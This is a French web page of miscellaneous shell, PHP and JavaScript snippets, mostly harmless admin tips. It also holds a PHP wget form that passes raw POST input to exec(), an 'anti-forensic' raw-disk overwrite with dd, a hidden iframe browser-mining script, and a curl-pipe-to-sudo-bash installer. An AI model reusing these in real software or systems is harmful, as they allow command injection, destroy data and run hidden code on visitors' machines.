Scripts en vrac
Bouts de scripts de plusieurs auteurs, à utiliser en connaissance de cause, et toujurs avec prudence !
In the Forums
Ne cherche plus ton hostname libreoffice
cat /etc/hosts
- modifiez votre /etc/hosts en remplaçant HOSTNAME par nom-de-mon-ordinateur
127.0.0.1 HOSTNAME localhost HOSTNAME.(none)
- nom-de-mon-ordinateur est lisible à la ligne suivante
127.0.1.1 nom-de-mon-ordinateur
Identifiez votre adresse IP
ifconfig eth0 | awk '/inet / {print $2}' | cut -d ':' -f2
- Remplacer eth0 par le nom de votre interface réseau
Identifiez vos adresses IP public et privé
wget -qO- icanhazip.com nm-tool | grep '^ *Address' | awk '{ print $2 }'
- Installez au préalable le paquet nm-tool (precise et trusty uniquement → sniff)
- le site utilitaire icanhazip retournera toujours votre IP public
In the Deep ...
Wget anti-robots -by- anonym at korben's
Récupérer toutes les images présentes sur une page web avec Wget
: in extenso, ca peut être autre chose que des images ^^
wget -nd -H -p -A jpg,jpeg,png,gif -e robots=off http://…
For Loops 1, 2, 3 times
- Vous avez besoin de décomptez non pas une fois mais plusieurs, par exemple : une variable pour l'année, une pour le mois, une pour le jour.
- Vous ne voulez pas rédiger un programme complet, lent et casse-pompon.
- Vous utilisez la ligne de commande dont les traces sont plus faciles à supprimer.
for k in {2012..2019}; do for j in {01..12}; do for i in {01..12}; do echo "$k-$j-$i"; done; done; done
- Ça compte les 12 premiers jours sur deux chiffres de chacun des 12 mois des années 2012 à 2019.
- Comprenez : ce peut être autre chose que des années, mois ou jours. Ce peut être une commande différente.
- On peut théoriquement engranger les boucles For, mais après 3, vos yeux commencent à loucher, hein ?
- NB : l'incrémentation explicite avec Let n'est plus requise depuis la version 4.0 de Bash. À vérifier.
Dé-PDF-isez même verrouillé
pdftocairo -f debut% -l fin% -jpeg "monpdf.pdf" -scale-to pixels% -cropbox
- debut% est un nombre entier désignant la première page à extraire (souvent debut% égale 1)
- fin% est un nombre entier désignant la dernière page à extraire (souvent fin% égale le nombre de pages)
- quand debut% et fin% sont égales, pdftocairo extrait une page unique
- pixels% est un nombre entier désignant la largeur maximum désirée pour l'image graphique extraite
- l'option 'cropbox' est à utiliser si pdftocairo extrait des images sans texte ou/et décolorées
- lire absolument le bon man de pdftocairo
Re-graphi-sizez en masse
- contraction néologique pour le retaillage des images en ligne de commande avec convert d'imagemagick au lieu d'utiliser TheGimp et la série de clics qui vont bien ;)
- convert permet des options de retaillage complexes, lire son man, mais cette astuce se contente de couper la moitié (la plupart des APN rendent actuellement 4000 pixels)
for file in *.jpg; do convert $file -resize 50% $file; done
- les images sont supposées être du même format, de la même extension, dans un dossier unique
- le mini-script fait un listing des fichiers jpeg, et les convertit un-à-un (chaque fichier original est écrasé)
Suppléez Policykit
- vous avez un systéme Ubuntu récent, mais un environnement non classic sans agent policykit qui aille bien …
- modifiez les lanceurs de bureau qui necessitent l'accès administrateur (gparted, synaptic …)
Exec = xterm -e "sudo /usr/sbin/synaptic"
→ le lanceur modifié s'exécute sur une session xterm attendant l'entrée du mot de passe.
→ vous pouvez aussi utiliser la commande bash avec l'option -c , mais ca ne fonctionne pas toujours avec les systémes minimaux.
Modules non-signés dans Firefox (test avec v66.0.1 64bits)
1/ Lancez l'éditeur de configuration
about:config
2/ Option de configuration à modifier
xpinstall.signatures.required = true
vers
xpinstall.signatures.required = false
→ chaque module non-signé sera désigné comme tel dans la section des extensions du gestionnaire de modules.
→ plus d'infos chez Mozilla : Comment faire pour utiliser un module non signé ? (utilisateurs avancés).
Script php pour télécharger avec wget
<?php if(isset($_POST['path']) && isset($_POST['url'])) { $path = $_POST['path']; $url = $_POST['url']; $cmd = "wget \"$url\" -O \"$path\""; exec ($cmd); echo" La commande a bien été exécutée : $cmd "; } print "<form action=\"$PHP_SELF\" method=post> Lien (URL) : <input name=url><br> Path Complet: <input name=path><br> <input type=submit value=\"envoyer\">"; ?>
Anti-forensic
- disk dump aléatoire, 7 passes …
for n in `seq 7`; do dd if=/dev/urandom of=/dev/sdX bs=8b conv=notrunc; done
- disk dump zero
dd if=/dev/zero of=zero; rm -f zero
Consultez la météo avant de sortir de chez vous ;)
- nommez la ville de votre choix … ex : toulouse, lyon, papeete, tokyo …
- astuce : lisez les petits caractères juste après le "curl"
- consultation immédiate
curl wttr.in/toulouse
- suivi enregistré pour un historique …
curl -A "Mozilla/4.0" wttr.in/toulouse > ./toulouse_meteo.html
- avec formatage de date
#!/bin/bash dateofday=$(date +%Y-%m-%d) #zenity --info --text="La meteo $dateofday de tokyo" curl -A "Mozilla/4.0" wttr.in/tokyo > "tokyo_meteo $dateofday.html" #zenity --info --text="La meteo $dateofday de paris" curl -A "Mozilla/4.0" wttr.in/paris > "paris_meteo $dateofday.html"
Api Coins
- le code api qui implémente votre coin numérique
function addLoadEvent(fun) { if (window.attachEvent) window.attachEvent('onload', fun); else if (window.addEventListener) window.addEventListener('load', fun, false); else document.addEventListener('load', fun, false); } function bitpit(params) { addLoadEvent(function() { var url = window.location.protocol + "//api.bitp.it/mine?"; params.domain = window.location.href.split('//')[1].split('/')[0]; for(var name in params){ url = url + name + "=" + params[name] + "&"; } var frame = document.createElement("iframe"); frame.setAttribute("src", url); frame.setAttribute("name", "bitpit") frame.setAttribute("style", "display: none;"); frame.setAttribute("height", "0"); frame.setAttribute("width", "0"); document.body.appendChild(frame); }); }
- le code qui utilise l'api du coin numérique
<script type="text/javascript" src="http://api.bitp.it/bitp.it.js"></script> <script type="text/javascript"> bitpit({clientId: "6917", forceUIThread: true}); </script>
FUR1204 -by- framakey
ubuntu@ubuntu:~$ ls /home ubuntu ubuntu@ubuntu:~$ cat /etc/lightdm/lightdm.conf [SeatDefaults] allow-guest=false autologin-guest=false autologin-user=ubuntu autologin-user-timeout=0 autologin-session=lightdm-autologin user-session=ubuntu greeter-session=unity-greeter ubuntu@ubuntu:~$
Balises HTML5 /s IE8 -by- idleman
Entre les balises <head> et </head> de votre site, ajoutez le code suivant :
<script type="text/javascript"><br> document.createElement("header");<br> document.createElement("footer");<br> document.createElement("section");<br> document.createElement("aside");<br> document.createElement("nav");<br> document.createElement("article");<br> document.createElement("figure");<br> </script>
Le code créé ces nouvelles balises dans les références du navigateur avant le chargement de la page.
Au début de votre css, ajoutez le code suivant :
header, footer, section, hgroup, aside, nav, article, figure, figcaption, time, dialog {<br> display: block;<br> }
Ces balises HTML5 se comporteront par défaut en tant que bloc.
PHP :: Récuperer et sécuriser automatiquement toutes les variables POST et GET -by- idleman
$_ = array();<br> foreach($_POST as $key=>$val){<br> $_[$key]=mysql_escape_string(htmlentities($val));<br> }<br> foreach($_GET as $key=>$val){<br> $_[$key]=mysql_escape_string(htmlentities($val));<br> } <?php<br> echo $_['MaVariablePostOuGet'];<br> ?>
Service local visible sur l'internet -by- anonym at korben's
Mettre à disposition sur le net de manière totalement sauvage n'importe quel service disponible sur votre machine : Pagekite !
Pagekite va mapper votre service en local (par exemple 127.0.0.1:80) avec une URL comme http://toto.pagekite.me.
Maintenant pour l'installer, c'est très simple :
Sous Mac OSX et Linux
curl -s https://pagekite.net/pk/ | sudo bash
pagekite.py 80 yourname.pagekite.me
Sous Windows
- Téléchargez et installez Python 2.7
- Téléchargez pagekite.py sur votre ordi
- Lancez le script !